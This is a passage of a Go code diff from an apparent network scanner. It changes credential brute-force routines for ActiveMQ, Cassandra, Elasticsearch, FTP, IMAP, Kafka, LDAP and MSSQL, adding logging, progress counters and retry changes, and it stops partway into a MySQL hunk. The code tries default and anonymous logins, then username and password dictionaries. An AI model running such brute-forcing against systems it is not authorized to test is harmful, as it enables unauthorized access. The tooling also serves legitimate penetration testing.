func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
@ -16,13 +15,25 @@ func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||
Common.LogDebug("尝试默认账户 admin:admin")
|
||||
|
||||
// 首先测试默认账户
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试默认账户", retryCount+1))
|
||||
}
|
||||
|
||||
flag, err := ActiveMQConn(info, "admin", "admin")
|
||||
if flag {
|
||||
Common.LogSuccess(fmt.Sprintf("ActiveMQ服务 %v:%v 成功爆破 用户名: admin 密码: admin",
|
||||
info.Host, info.Ports))
|
||||
return nil
|
||||
}
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("ActiveMQ服务 %v:%v 默认账户尝试失败: %v",
|
||||
info.Host, info.Ports, err))
|
||||
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
return err
|
||||
@ -33,32 +44,42 @@ func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
|
||||
break
|
||||
}
|
||||
|
||||
starttime := time.Now().Unix()
|
||||
totalUsers := len(Common.Userdict["activemq"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)",
|
||||
totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
// 遍历所有用户名密码组合
|
||||
for _, user := range Common.Userdict["activemq"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
|
||||
// 检查是否超时
|
||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
||||
return fmt.Errorf("扫描超时")
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
// 执行连接测试
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
})
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
flag, err := ActiveMQConn(info, user, pass)
|
||||
done <- struct {
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{flag, err}
|
||||
}{flag, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
// 等待结果或超时
|
||||
@ -67,6 +88,8 @@ func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success {
|
||||
Common.LogSuccess(fmt.Sprintf("ActiveMQ服务 %v:%v 成功爆破 用户名: %v 密码: %v",
|
||||
info.Host, info.Ports, user, pass))
|
||||
return nil
|
||||
}
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
@ -80,17 +103,17 @@ func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
return err
|
||||
continue
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
|
@ -15,12 +15,20 @@ func CassandraScan(info *Common.HostInfo) (tmperr error) {
|
||||
}
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
starttime := time.Now().Unix()
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||
Common.LogDebug("尝试无认证访问...")
|
||||
|
||||
// 首先测试无认证访问
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试无认证访问", retryCount+1))
|
||||
}
|
||||
|
||||
flag, err := CassandraConn(info, "", "")
|
||||
if flag && err == nil {
|
||||
Common.LogSuccess(fmt.Sprintf("Cassandra服务 %v:%v 无认证访问成功",
|
||||
info.Host, info.Ports))
|
||||
return err
|
||||
}
|
||||
if err != nil && Common.CheckErrs(err) != nil {
|
||||
@ -32,30 +40,41 @@ func CassandraScan(info *Common.HostInfo) (tmperr error) {
|
||||
break
|
||||
}
|
||||
|
||||
totalUsers := len(Common.Userdict["cassandra"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
// 遍历所有用户名密码组合
|
||||
for _, user := range Common.Userdict["cassandra"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
|
||||
// 检查是否超时
|
||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
||||
return fmt.Errorf("扫描超时")
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
// 执行连接
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
})
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
success, err := CassandraConn(info, user, pass)
|
||||
done <- struct {
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}
|
||||
}{success, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
// 等待结果或超时
|
||||
@ -64,6 +83,9 @@ func CassandraScan(info *Common.HostInfo) (tmperr error) {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
successLog := fmt.Sprintf("Cassandra服务 %v:%v 爆破成功 用户名: %v 密码: %v",
|
||||
info.Host, info.Ports, user, pass)
|
||||
Common.LogSuccess(successLog)
|
||||
return nil
|
||||
}
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
@ -79,7 +101,7 @@ func CassandraScan(info *Common.HostInfo) (tmperr error) {
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
return err
|
||||
continue
|
||||
}
|
||||
continue // 继续重试
|
||||
}
|
||||
@ -90,6 +112,7 @@ func CassandraScan(info *Common.HostInfo) (tmperr error) {
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
|
@ -10,7 +10,6 @@ import (
|
||||
"time"
|
||||
)
|
||||
|
||||
// ElasticScan 执行 Elasticsearch 服务扫描
|
||||
func ElasticScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
@ -18,10 +17,18 @@ func ElasticScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||
Common.LogDebug("尝试无认证访问...")
|
||||
|
||||
// 首先测试无认证访问
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试无认证访问", retryCount+1))
|
||||
}
|
||||
flag, err := ElasticConn(info, "", "")
|
||||
if flag && err == nil {
|
||||
Common.LogSuccess(fmt.Sprintf("Elasticsearch服务 %v:%v 无需认证",
|
||||
info.Host, info.Ports))
|
||||
return err
|
||||
}
|
||||
if err != nil && Common.CheckErrs(err) != nil {
|
||||
@ -33,32 +40,42 @@ func ElasticScan(info *Common.HostInfo) (tmperr error) {
|
||||
break
|
||||
}
|
||||
|
||||
starttime := time.Now().Unix()
|
||||
totalUsers := len(Common.Userdict["elastic"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)",
|
||||
totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
// 遍历所有用户名密码组合
|
||||
for _, user := range Common.Userdict["elastic"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
|
||||
// 检查是否超时
|
||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
||||
return fmt.Errorf("扫描超时")
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
// 执行连接尝试
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
})
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
flag, err := ElasticConn(info, user, pass)
|
||||
done <- struct {
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{flag, err}
|
||||
}{flag, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
// 等待结果或超时
|
||||
@ -67,6 +84,8 @@ func ElasticScan(info *Common.HostInfo) (tmperr error) {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
Common.LogSuccess(fmt.Sprintf("Elasticsearch服务 %v:%v 爆破成功 用户名: %v 密码: %v",
|
||||
info.Host, info.Ports, user, pass))
|
||||
return nil
|
||||
}
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
@ -82,7 +101,7 @@ func ElasticScan(info *Common.HostInfo) (tmperr error) {
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
return err
|
||||
continue
|
||||
}
|
||||
continue // 继续重试
|
||||
}
|
||||
@ -93,6 +112,7 @@ func ElasticScan(info *Common.HostInfo) (tmperr error) {
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
|
@ -8,7 +8,6 @@ import (
|
||||
"time"
|
||||
)
|
||||
|
||||
// FtpScan 执行FTP服务扫描
|
||||
func FtpScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
@ -16,84 +15,99 @@ func FtpScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||
Common.LogDebug("尝试匿名登录...")
|
||||
|
||||
// 先尝试匿名登录
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
flag, err := FtpConn(info, "anonymous", "")
|
||||
if flag && err == nil {
|
||||
Common.LogSuccess("匿名登录成功!")
|
||||
return nil
|
||||
}
|
||||
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err)
|
||||
errlog := fmt.Sprintf("ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
return err
|
||||
}
|
||||
continue
|
||||
}
|
||||
break
|
||||
}
|
||||
|
||||
starttime := time.Now().Unix()
|
||||
totalUsers := len(Common.Userdict["ftp"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
// 遍历所有用户名密码组合
|
||||
for _, user := range Common.Userdict["ftp"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
// 检查是否超时
|
||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
||||
return fmt.Errorf("扫描超时")
|
||||
}
|
||||
var lastErr error
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
// 执行FTP连接
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
})
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
success, err := FtpConn(info, user, pass)
|
||||
done <- struct {
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}
|
||||
}{success, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
// 等待结果或超时
|
||||
var err error
|
||||
select {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
if result.success && result.err == nil {
|
||||
successLog := fmt.Sprintf("FTP %v:%v %v %v",
|
||||
info.Host, info.Ports, user, pass)
|
||||
Common.LogSuccess(successLog)
|
||||
return nil
|
||||
}
|
||||
lastErr = result.err
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
err = fmt.Errorf("连接超时")
|
||||
lastErr = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v",
|
||||
info.Host, info.Ports, user, pass, err)
|
||||
if lastErr != nil {
|
||||
errlog := fmt.Sprintf("ftp %v:%v %v %v %v",
|
||||
info.Host, info.Ports, user, pass, lastErr)
|
||||
Common.LogError(errlog)
|
||||
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
return err
|
||||
// 如果是密码错误,直接尝试下一个组合
|
||||
if strings.Contains(lastErr.Error(), "Login incorrect") {
|
||||
break
|
||||
}
|
||||
|
||||
// 如果是连接数限制,等待后重试
|
||||
if strings.Contains(lastErr.Error(), "too many connections") {
|
||||
Common.LogDebug("连接数过多,等待5秒...")
|
||||
time.Sleep(5 * time.Second)
|
||||
if retryCount < maxRetries-1 {
|
||||
continue
|
||||
}
|
||||
continue // 继续重试
|
||||
}
|
||||
}
|
||||
|
||||
break // 如果不需要重试,跳出重试循环
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
@ -106,6 +120,12 @@ func FtpConn(info *Common.HostInfo, user string, pass string) (flag bool, err er
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
// 确保连接被关闭
|
||||
defer func() {
|
||||
if conn != nil {
|
||||
conn.Quit() // 发送QUIT命令关闭连接
|
||||
}
|
||||
}()
|
||||
|
||||
// 尝试登录
|
||||
if err = conn.Login(Username, Password); err != nil {
|
||||
@ -113,7 +133,7 @@ func FtpConn(info *Common.HostInfo, user string, pass string) (flag bool, err er
|
||||
}
|
||||
|
||||
// 登录成功,获取目录信息
|
||||
result := fmt.Sprintf("[+] ftp %v:%v:%v %v", Host, Port, Username, Password)
|
||||
result := fmt.Sprintf("ftp %v:%v:%v %v", Host, Port, Username, Password)
|
||||
dirs, err := conn.List("")
|
||||
if err == nil && len(dirs) > 0 {
|
||||
// 最多显示前6个目录
|
||||
@ -126,6 +146,5 @@ func FtpConn(info *Common.HostInfo, user string, pass string) (flag bool, err er
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogSuccess(result)
|
||||
return true, nil
|
||||
}
|
||||
|
@ -17,32 +17,43 @@ func IMAPScan(info *Common.HostInfo) (tmperr error) {
|
||||
}
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
starttime := time.Now().Unix()
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||
totalUsers := len(Common.Userdict["imap"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
// 遍历所有用户名密码组合
|
||||
for _, user := range Common.Userdict["imap"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
|
||||
// 检查是否超时
|
||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
||||
return fmt.Errorf("扫描超时")
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
// 执行IMAP连接
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
})
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
success, err := IMAPConn(info, user, pass)
|
||||
done <- struct {
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}
|
||||
}{success, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
// 等待结果或超时
|
||||
@ -65,17 +76,17 @@ func IMAPScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
return err
|
||||
continue
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
@ -85,6 +96,7 @@ func IMAPConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
addr := fmt.Sprintf("%s:%s", host, port)
|
||||
|
||||
// 首先尝试普通连接
|
||||
Common.LogDebug(fmt.Sprintf("尝试普通连接: %s", addr))
|
||||
conn, err := net.DialTimeout("tcp", addr, timeout)
|
||||
if err == nil {
|
||||
if flag, err := tryIMAPAuth(conn, host, port, user, pass, timeout); err == nil {
|
||||
@ -94,6 +106,7 @@ func IMAPConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
}
|
||||
|
||||
// 如果普通连接失败,尝试TLS连接
|
||||
Common.LogDebug(fmt.Sprintf("尝试TLS连接: %s", addr))
|
||||
tlsConfig := &tls.Config{
|
||||
InsecureSkipVerify: true,
|
||||
}
|
||||
@ -106,7 +119,6 @@ func IMAPConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
return tryIMAPAuth(conn, host, port, user, pass, timeout)
|
||||
}
|
||||
|
||||
// tryIMAPAuth 尝试IMAP认证
|
||||
func tryIMAPAuth(conn net.Conn, host string, port string, user string, pass string, timeout time.Duration) (bool, error) {
|
||||
conn.SetDeadline(time.Now().Add(timeout))
|
||||
|
||||
|
@ -14,9 +14,14 @@ func KafkaScan(info *Common.HostInfo) (tmperr error) {
|
||||
}
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||
|
||||
// 首先测试无认证访问
|
||||
Common.LogDebug("尝试无认证访问...")
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试无认证访问", retryCount+1))
|
||||
}
|
||||
flag, err := KafkaConn(info, "", "")
|
||||
if flag && err == nil {
|
||||
return nil
|
||||
@ -30,32 +35,41 @@ func KafkaScan(info *Common.HostInfo) (tmperr error) {
|
||||
break
|
||||
}
|
||||
|
||||
starttime := time.Now().Unix()
|
||||
totalUsers := len(Common.Userdict["kafka"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
// 遍历所有用户名密码组合
|
||||
for _, user := range Common.Userdict["kafka"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
|
||||
// 检查是否超时
|
||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
||||
return fmt.Errorf("扫描超时")
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
// 执行Kafka连接
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
})
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
success, err := KafkaConn(info, user, pass)
|
||||
done <- struct {
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}
|
||||
}{success, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
// 等待结果或超时
|
||||
@ -79,17 +93,17 @@ func KafkaScan(info *Common.HostInfo) (tmperr error) {
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
return err
|
||||
continue
|
||||
}
|
||||
continue // 继续重试
|
||||
}
|
||||
}
|
||||
|
||||
break // 如果不需要重试,跳出重试循环
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
|
@ -8,7 +8,6 @@ import (
|
||||
"time"
|
||||
)
|
||||
|
||||
// LDAPScan 执行LDAP服务扫描
|
||||
func LDAPScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
@ -16,38 +15,50 @@ func LDAPScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||
Common.LogDebug("尝试匿名访问...")
|
||||
|
||||
// 首先尝试匿名访问
|
||||
flag, err := LDAPConn(info, "", "")
|
||||
if flag && err == nil {
|
||||
return err
|
||||
}
|
||||
|
||||
starttime := time.Now().Unix()
|
||||
totalUsers := len(Common.Userdict["ldap"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
// 遍历所有用户名密码组合
|
||||
for _, user := range Common.Userdict["ldap"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
|
||||
// 检查是否超时
|
||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
||||
return fmt.Errorf("扫描超时")
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
// 执行LDAP连接
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
})
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
success, err := LDAPConn(info, user, pass)
|
||||
done <- struct {
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}
|
||||
}{success, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
// 等待结果或超时
|
||||
@ -71,28 +82,27 @@ func LDAPScan(info *Common.HostInfo) (tmperr error) {
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
return err
|
||||
continue
|
||||
}
|
||||
continue // 继续重试
|
||||
}
|
||||
}
|
||||
|
||||
break // 如果不需要重试,跳出重试循环
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
// LDAPConn 尝试LDAP连接
|
||||
func LDAPConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
host, port := info.Host, info.Ports
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
// 构造LDAP连接地址
|
||||
address := fmt.Sprintf("%s:%s", host, port)
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("尝试连接: %s", address))
|
||||
|
||||
// 配置LDAP连接
|
||||
l, err := ldap.Dial("tcp", address)
|
||||
if err != nil {
|
||||
|
@ -16,32 +16,43 @@ func MssqlScan(info *Common.HostInfo) (tmperr error) {
|
||||
}
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
starttime := time.Now().Unix()
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||
totalUsers := len(Common.Userdict["mssql"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
// 遍历所有用户名密码组合
|
||||
for _, user := range Common.Userdict["mssql"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
|
||||
// 检查是否超时
|
||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
||||
return fmt.Errorf("扫描超时")
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
// 执行MSSQL连接
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
})
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
success, err := MssqlConn(info, user, pass)
|
||||
done <- struct {
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}
|
||||
}{success, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
// 等待结果或超时
|
||||
@ -50,6 +61,8 @@ func MssqlScan(info *Common.HostInfo) (tmperr error) {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
Common.LogSuccess(fmt.Sprintf("MSSQL %v:%v %v %v",
|
||||
info.Host, info.Ports, user, pass))
|
||||
return nil
|
||||
}
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
@ -64,7 +77,7 @@ func MssqlScan(info *Common.HostInfo) (tmperr error) {
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
return err
|
||||
continue
|
||||
}
|
||||
continue // 继续重试
|
||||
}
|
||||
@ -75,6 +88,7 @@ func MssqlScan(info *Common.HostInfo) (tmperr error) {
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
|
@ -16,32 +16,43 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) {
|
||||
}
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
